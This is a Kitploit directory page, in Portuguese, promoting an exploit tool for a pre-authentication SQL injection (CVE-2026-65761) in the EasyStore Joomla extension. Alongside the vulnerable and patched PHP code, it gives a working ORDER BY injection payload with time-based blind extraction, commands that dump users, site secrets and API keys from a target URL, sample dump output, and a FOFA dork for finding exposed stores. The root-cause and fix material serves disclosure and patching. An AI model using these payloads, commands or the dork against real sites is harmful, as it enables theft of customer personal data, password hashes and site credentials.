Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-65761 — EasyStore Joomla Injeção SQL Pré-Autenticação via Direção filter_sortby (CVE-2026-65761, CVSS 9.3) | Kitploit
Ferramentas/GitHubGitHub/shinthink/cve-2026-65761
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de Penetração
GitHubshinthink/cve-2026-65761

CVE-2026-65761

EasyStore Joomla Injeção SQL Pré-Autenticação via Direção filter_sortby (CVE-2026-65761, CVSS 9.3)

Ver Repositório
há 26 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-65761 — Injeção SQL Pré-Autenticação no EasyStore Joomla

Direção do filter_sortby → Injeção em ORDER BY → Leitura Total do Banco de Dados


Visão Geral

CVE-2026-65761 (CVSS 9.3 Crítico) é uma injeção SQL não autenticada no EasyStore para Joomla da JoomShaper, afetando as versões ≤ 2.0.1.

O parâmetro filter_sortby da listagem de produtos é dividido em uma coluna e uma direção. Enquanto a coluna é validada contra uma allow-list, a direção é concatenada diretamente na cláusula SQL ORDER BY sem qualquer restrição de ASC/DESC — permitindo injeção SQL arbitrária por um visitante anônimo.

Um atacante não autenticado pode ler todo o banco de dados do Joomla: contas de usuário, hashes de senhas, dados de sessão, segredos do site, chaves de API e todos os dados pessoais (PII) dos clientes (nomes, e-mails, endereços, telefones, histórico de compras).


Mecanismo da Vulnerabilidade

Causa Raiz

FilterHelper.php:741 retorna a direção de ordenação sem qualquer verificação de allow-list de ASC/DESC:

root@kitploit:~
// Vulnerable (EasyStore 2.0.1)
// FilterHelper.php:741
return [$orderArray[0], strtoupper($orderArray[1])];
//                      ^^^^^^^^^ No validation — raw value after uppercase

ProductsModel.php:932 concatena a direção diretamente no SQL:

root@kitploit:~
// ProductsModel.php:932
$query->order($column . ' ' . $direction);
//                        ^^^^^^^^^ Raw SQL concatenation

As listagens irmãs de marca e coleção tinham allow-lists de direção adequadas. A listagem de produtos não tinha.

Correção (EasyStore 2.0.2)

root@kitploit:~
// Fixed — FilterHelper.php:741-742
$direction = strtoupper($orderArray[1]);
return [$orderArray[0], in_array($direction, ['ASC', 'DESC']) ? $direction : 'ASC'];
//                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Allow-list check

// Fixed — ProductsModel.php:918-920 (second validation added)
if (!in_array(strtoupper($direction), ['ASC', 'DESC'])) {
    $direction = 'DESC';
}

Fluxo do Ataque

root@kitploit:~
1. Attacker crafts: filter_sortby=price-ASC,(SELECT SLEEP(5))
   └─ splits to: column=price, direction=ASC,(SELECT SLEEP(5))

2. Column "price" passes allow-list check ✅
   └─ ['ordering','featured','best_selling','title','price','created']

3. Direction "ASC,(SELECT SLEEP(5))" passes strtoupper()
   └─ No ASC/DESC validation in vulnerable version

4. SQL constructed:
   ORDER BY min_price ASC,(SELECT SLEEP(5))
   └─ Time-based confirmation: 5 second delay

5. Attacker extracts full database via blind SQLi

Pré-requisitos

RequisitoDetalhes
EasyStore ≤ 2.0.1Versão vulnerável instalada
Listagem de produtos acessívelindex.php?option=com_easystore&view=products
Sem autenticaçãoFunciona anonimamente
MySQL/MariaDBExtração baseada em tempo via SLEEP()

Instalação

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-65761.git
cd CVE-2026-65761
# No dependencies required — Python stdlib only

Uso

root@kitploit:~
# Check vulnerability (non-destructive)
python3 cve_2026_65761.py --url https://target.com --check

# Dump Joomla users (usernames, emails, names)
python3 cve_2026_65761.py --url https://target.com --dump-users

# Full dump (users + site secret + EasyStore config + API keys)
python3 cve_2026_65761.py --url https://target.com --dump-joomla

Saída

root@kitploit:~
+=================================================================+
|  CVE-2026-65761 — EasyStore Joomla Pre-Auth SQLi Exploit        |
+=================================================================+
  Target :  https://shop.target.com
  Plugin :  EasyStore ≤ 2.0.1 | Payload: filter_sortby=col-ASC,INJECTION

[STEP 1] Verifying SQL injection (time-based)
  [*] SLEEP(5) delay: 5.2s
  [+] SQLi confirmed (5.2s)

[STEP 2] Database fingerprint
    [Version] 10.11.14-MariaDB
    [Database] joomla_db
    [User]    joomla_user@localhost
    [Prefix]  jos_
  [+] Version : 10.11.14-MariaDB
  [+] Database: joomla_db
  [+] User    : joomla_user@localhost
  [+] Prefix  : jos_

[STEP 3] Dumping users
  [+] Users: 15

  USERNAME                  EMAIL                               NAME
  ─────────────────────     ───────────────────────────────     ──────────
  admin                     [email protected]                      Super User
  manager                   [email protected]                    Store Manager

[STEP 4] Dumping sensitive configuration
    [Secret] abc123def456...
    [EasyStore] {"paypal_email":"[email protected]"...
  [+] Secret: abc123def456...
  [+] EasyStore: {"paypal_email":"[email protected]"...
  [+]   paypal_email: [email protected]

Requests: 1847

Detalhes Técnicos

Caminho do Código Vulnerável

ArquivoLinhaProblema
site/src/Helper/FilterHelper.php741Retorna a direção sem allow-list — apenas strtoupper()

Parâmetro de Injeção

root@kitploit:~
filter_sortby = <column>-<direction>

Valid columns (allow-list passes):
  ordering, featured, best_selling, title, price, created

Direction (no validation):
  Injected directly after strtoupper()
  → ASC,(SELECT SLEEP(5))
  → ASC,(SELECT IF((condition),SLEEP(2),0))

Vulnerabilidades Adicionais no EasyStore 2.0.1

CVETipoCVSS
CVE-2026-65759Falsificação de pedidos / manipulação de pagamento8.7
CVE-2026-65760IDOR em faturas (exposição de dados entre clientes)9.2
CVE-2026-65761Injeção SQL (este exploit)

Dork FOFA

root@kitploit:~
body="com_easystore" && body="filter_sortby"

Referências

  • mySites.guru — Divulgação Original
  • JoomShaper — EasyStore Free
  • VulDB — CVE-2026-65761

Aviso Legal

Apenas para testes de segurança autorizados e pesquisa educacional. Os autores não assumem responsabilidade por uso indevido.

Baixar ferramenta
CVECVE-2026-65761
CVSS9.3 Crítico
AfetadoEasyStore ≤ 2.0.1
CorrigidoEasyStore 2.0.2
TipoInjeção SQL (CWE-89)
AutenticaçãoNenhuma necessária
DescobertoPhil Taylor (mySites.guru) — Julho de 2026
site/src/Model/ProductsModel.php932Concatena $direction diretamente na cláusula ORDER BY
9.3